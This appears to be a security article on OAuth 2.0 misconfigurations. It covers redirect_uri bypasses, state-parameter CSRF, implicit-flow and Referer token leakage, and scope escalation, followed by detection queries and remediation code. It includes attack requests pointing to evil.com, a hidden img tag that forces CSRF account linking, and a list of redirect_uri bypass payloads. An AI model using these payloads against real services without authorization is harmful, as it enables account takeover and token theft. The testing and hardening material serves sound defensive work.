OAuth 2.0 misconfiguration token theft attack flow

OAuth 2.0 Misconfigurations and Token Theft

OAuth 2.0 attack techniques including redirect_uri bypass, state parameter CSRF, implicit flow token leakage, and authorization code interception.

Aug 18, 2026
2 min read

Introduction

OAuth 2.0 bugs reduce to two root causes: the authorization server trusts user-supplied values it should validate, and developers omit security parameters the spec marks as RECOMMENDED rather than REQUIRED. The redirect_uri is the primary attack surface — a token or code delivered to the wrong URI is a complete account takeover primitive. Every major OAuth-related bug bounty finding traces back to insufficient URI validation, missing state, or misuse of the implicit flow.

The spec (RFC 6749) requires exact-match redirect URI validation but leaves enforcement to implementors. Real-world servers commonly allow prefix matching, path traversal, open redirects on the same domain, or wildcard subdomains — each of which an attacker can exploit to capture authorization codes or access tokens mid-flight.

Authorization servers that skip the state parameter check give attackers a CSRF primitive: link a victim's account to an attacker-controlled OAuth identity, then log in as the victim through the attacker's own valid session.

Authorization Required

All techniques described here require explicit written authorization from the application owner. OAuth flows in production systems involve third-party identity providers — testing without scope can violate the IdP's terms of service and applicable computer fraud statutes independent of the target application's authorization.

Impact

  • Full account takeover via redirect_uri hijacking — attacker receives the victim's authorization code or access token directly
  • Account linking CSRF — victim's account silently connected to attacker's social identity, enabling persistent login
  • Access token exposure in server logs, browser history, and Referer headers via implicit flow
  • Privilege escalation by modifying the scope parameter during the authorization request
  • Persistent access if the stolen token has offline_access or refresh token scope
  • Mobile application account compromise via deeplink interception or PKCE downgrade

Technical Details

redirect_uri Validation Flaws

The authorization server must compare the supplied redirect_uri against the registered value using exact string matching. Common implementation shortcuts create exploitable gaps.

Path traversal / suffix bypass: Some servers validate only that the supplied URI starts with the registered prefix.

Registered:  https://app.example.com/callback
Supplied:    https://app.example.com/callback/../evil
             https://app.example.com/callback%2f..%2fevil

Open redirect chaining: The server validates the domain but the callback endpoint itself has an open redirect. The code or token lands at the legitimate domain, which immediately redirects to the attacker.

https://app.example.com/callback?redirect=https://evil.com

If the application forwards the code or the full URL to the redirect destination (via Referer, fragment propagation, or explicit parameter passing), the attacker receives it.

Subdomain takeover as redirect target: If the server allows wildcard subdomain matching and an attacker has claimed an abandoned subdomain, that subdomain becomes a valid redirect target.

Registered:  https://*.example.com/callback
Claimed:     https://stale-feature.example.com  (attacker-controlled via dangling CNAME)
Supplied:    https://stale-feature.example.com/callback

State Parameter CSRF

The state parameter is a nonce that ties the authorization request to the user session. Omitting it or accepting any value without verification enables CSRF account linking.

Attack flow:

Attacker initiates OAuth flow

Attacker starts the authorization flow against the target application using their own OAuth identity (e.g., their Google account). They capture the authorization URL before completing it.

GET /oauth/authorize?response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://app.example.com/callback
  &scope=openid+email
  &state=ATTACKER_SESSION_STATE

Attacker extracts the authorization code

Attacker completes the OAuth flow for their own account and receives a code at redirect_uri. They do not exchange this code — it remains valid until used.

https://app.example.com/callback?code=ATTACKER_CODE&state=ATTACKER_SESSION_STATE

Victim triggered to complete the binding

Attacker sends the victim a link to the callback URL containing their authorization code. If the application doesn't validate that the state matches the victim's session, it exchanges the code and links the attacker's OAuth identity to the victim's account.

<img src="https://app.example.com/callback?code=ATTACKER_CODE" width="1" height="1">

Attacker authenticates as victim

Attacker logs in via the OAuth provider using their own credentials. The provider issues tokens for the attacker's identity, which the application now maps to the victim's account.

Implicit Flow Token Leakage

The implicit flow (response_type=token) delivers the access token directly in the URL fragment. URL fragments are not sent in HTTP requests but are visible to JavaScript on the page, written into browser history, and can leak via the Referer header if the page loads third-party resources.

https://app.example.com/callback#access_token=ya29.a0AfH6SM...&token_type=Bearer&expires_in=3600

Any script on the callback page, including analytics, CDN resources, or error tracking, can read window.location.hash and exfiltrate the token. The fragment also appears in server-side access logs if the page makes a same-origin XHR that includes the full URL in the Referer header.

Authorization Code Interception via Referer

When a user lands on a callback URL containing an authorization code and the page loads external resources, the Referer header carries the full URL including the code.

GET /track.js HTTP/1.1
Host: analytics.thirdparty.com
Referer: https://app.example.com/callback?code=4/P7q7W91a-oMsCeLvIaQ...&state=abc123

The code is single-use and short-lived (RFC 6749 recommends under 10 minutes), but exfiltration to an attacker-controlled analytics endpoint provides a race-condition window for exchange.

Scope Escalation

Authorization requests that accept user-supplied scope values without validating them against the registered client's allowed scopes enable privilege escalation.

# Original request
GET /oauth/authorize?...&scope=read:profile

# Modified request
GET /oauth/authorize?...&scope=read:profile+write:email+admin:org

If the server grants whatever scope is requested without checking the client's registered allowed scopes, the resulting token has elevated permissions.

Attack Tools

Set Burp as the browser proxy and walk through the OAuth flow. The Proxy history shows every redirect and the parameters in each step.

Intercept and modify the authorization request
# 1. In Burp Proxy, intercept the initial authorization redirect
# 2. Modify redirect_uri in the intercepted request

GET /oauth/authorize?response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://app.example.com/callback/../attacker  # modified
  &scope=openid+email
  &state=randomstate
Host: accounts.provider.com
Decode and inspect tokens from Burp history
# Base64-decode JWT access tokens directly in Burp Decoder
# Highlight token, right-click > Send to Decoder > Decode as Base64

# Or use the JSON Web Tokens extension (BApp Store) for automatic parsing
# Extensions > BApp Store > JSON Web Tokens
Test state parameter absence
# Remove state from the authorization URL entirely
GET /oauth/authorize?response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://app.example.com/callback
  &scope=openid+email
  # no state parameter

# If the application proceeds without error, state validation is absent
# Confirm by completing the flow — if successful, CSRF is viable
Enumerate allowed redirect_uri values via Burp Intruder
# Set payload position on redirect_uri value
# Payload list: variations of the registered URI

https://app.example.com/callback
https://app.example.com/callback/
https://app.example.com/callback/../
https://app.example.com/callbackx
https://app.example.com/callback?foo=bar
https://app.example.com%2ecallback.evil.com/

Manual flow inspection requires only browser developer tools and a text editor. No proxy needed for initial reconnaissance.

Extract authorization URL from network tab
# Open DevTools > Network > preserve log
# Click "Login with Google/GitHub/etc"
# Find the 302 redirect to the OAuth provider
# Copy the Location header value — this is the full authorization URL

# Example extracted URL:
# https://accounts.google.com/o/oauth2/v2/auth
#   ?client_id=123456789.apps.googleusercontent.com
#   &redirect_uri=https://app.example.com/oauth/callback
#   &response_type=code
#   &scope=openid+email+profile
#   &state=xyzABC123
#   &access_type=offline
Test redirect_uri variations manually
# Manually construct modified authorization URLs in the browser address bar
# Observe whether the provider accepts or rejects each variant

# Path suffix
https://accounts.google.com/o/oauth2/v2/auth?client_id=...
  &redirect_uri=https://app.example.com/oauth/callback%2F..%2F&...

# Check the resulting error — "redirect_uri_mismatch" = strict validation
# No error or redirect proceeding = lax validation
Check for state validation on callback
# After getting a valid callback URL with code+state:
# https://app.example.com/oauth/callback?code=VALID_CODE&state=STATE

# Replay with modified state value in a fresh browser tab (no existing session)
# If login succeeds — state not validated against session
curl -v "https://app.example.com/oauth/callback?code=VALID_CODE&state=WRONG_STATE" \
  -H "Cookie: session=NEW_SESSION_ID"

Detection

Authorization Server Logs

Monitor for redirect_uri values that differ from registered values. Most providers log authorization requests including supplied vs. registered URIs.

Log FieldSuspicious Value
redirect_uri_suppliedAny value not in the registered allowlist
stateMissing, empty, or reused nonces
scopeScopes exceeding the client's registered allowlist
errorredirect_uri_mismatch repeated across IPs (enumeration)

Application-Side Events

Detect implicit flow usage in application logs
# Implicit flow tokens appear in the URL fragment — grep server-side logs for access_token in Referer
grep -E 'Referer:.*[#&]access_token=' /var/log/nginx/access.log

# Or in application error logs where full URLs are captured
grep 'access_token' /var/log/app/request.log

SIEM Detection Queries

Splunk: detect missing state parameter in OAuth callbacks
index=web_access uri_path="/oauth/callback"
| rex field=uri_query "(?:^|&)state=(?P<state_value>[^&]*)"
| where isnull(state_value) OR state_value=""
| stats count by src_ip, user_agent, uri_query
| where count > 2
Splunk: detect authorization code reuse attempts
index=web_access uri_path="/oauth/callback"
| rex field=uri_query "(?:^|&)code=(?P<auth_code>[^&]+)"
| stats count by auth_code, src_ip
| where count > 1
| table auth_code, count, src_ip
Elastic: implicit flow token in Referer header
{
  "query": {
    "regexp": {
      "http.request.referrer": ".*[#&]access_token=.*"
    }
  }
}

Application Event IDs (where applicable)

EventDescription
OAuth: invalid_redirect_uriSupplied URI rejected by authorization server
OAuth: missing_stateAuthorization callback received without state
OAuth: code_reusedAuthorization code submitted more than once
OAuth: scope_exceededRequested scope exceeds registered allowlist

Remediation

redirect_uri validation: The authorization server must perform exact string comparison between the supplied redirect_uri and each registered value. No prefix matching, no regex, no path normalization before comparison. Register the complete URI including path and query string for each client.

Exact-match redirect_uri validation
REGISTERED_URIS = {
    "client_id_123": [
        "https://app.example.com/oauth/callback",
    ]
}

def validate_redirect_uri(client_id: str, supplied_uri: str) -> bool:
    allowed = REGISTERED_URIS.get(client_id, [])
    # Exact match only — no startswith, no normalization
    return supplied_uri in allowed

State parameter: Generate a cryptographically random nonce per authorization request, bind it to the user's session, and reject any callback where the returned state doesn't match what was issued.

State parameter generation and validation
import secrets
import hashlib

def generate_state(session_id: str) -> str:
    nonce = secrets.token_urlsafe(32)
    session.set("oauth_state", nonce)
    return nonce

def validate_state(returned_state: str) -> bool:
    expected = session.get("oauth_state")
    if not expected:
        return False
    # Use constant-time comparison
    return secrets.compare_digest(returned_state, expected)

Prefer authorization code + PKCE over implicit flow:

PKCE code verifier and challenge generation
import secrets
import hashlib
import base64

def generate_pkce_pair():
    code_verifier = secrets.token_urlsafe(64)  # 43-128 chars, unreserved chars only
    digest = hashlib.sha256(code_verifier.encode()).digest()
    code_challenge = base64.urlsafe_b64encode(digest).rstrip(b'=').decode()
    return code_verifier, code_challenge

# Include in authorization request:
# &code_challenge=CODE_CHALLENGE
# &code_challenge_method=S256

# Include in token exchange:
# &code_verifier=CODE_VERIFIER

Additional hardening:

  • Set short authorization code expiry (60–120 seconds)
  • Invalidate authorization codes immediately after single use — reject replay attempts
  • Restrict scope values server-side per registered client; ignore or reject out-of-allowlist scope requests
  • Set Referrer-Policy: no-referrer on OAuth callback pages to prevent code/token leakage via the Referer header
  • Rotate refresh tokens on each use (refresh token rotation) to detect token theft
  • Never issue tokens for the implicit grant type in new implementations — use response_type=code with PKCE
Referrer-Policy on callback endpoint
HTTP/1.1 200 OK
Referrer-Policy: no-referrer
Content-Security-Policy: default-src 'self'

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page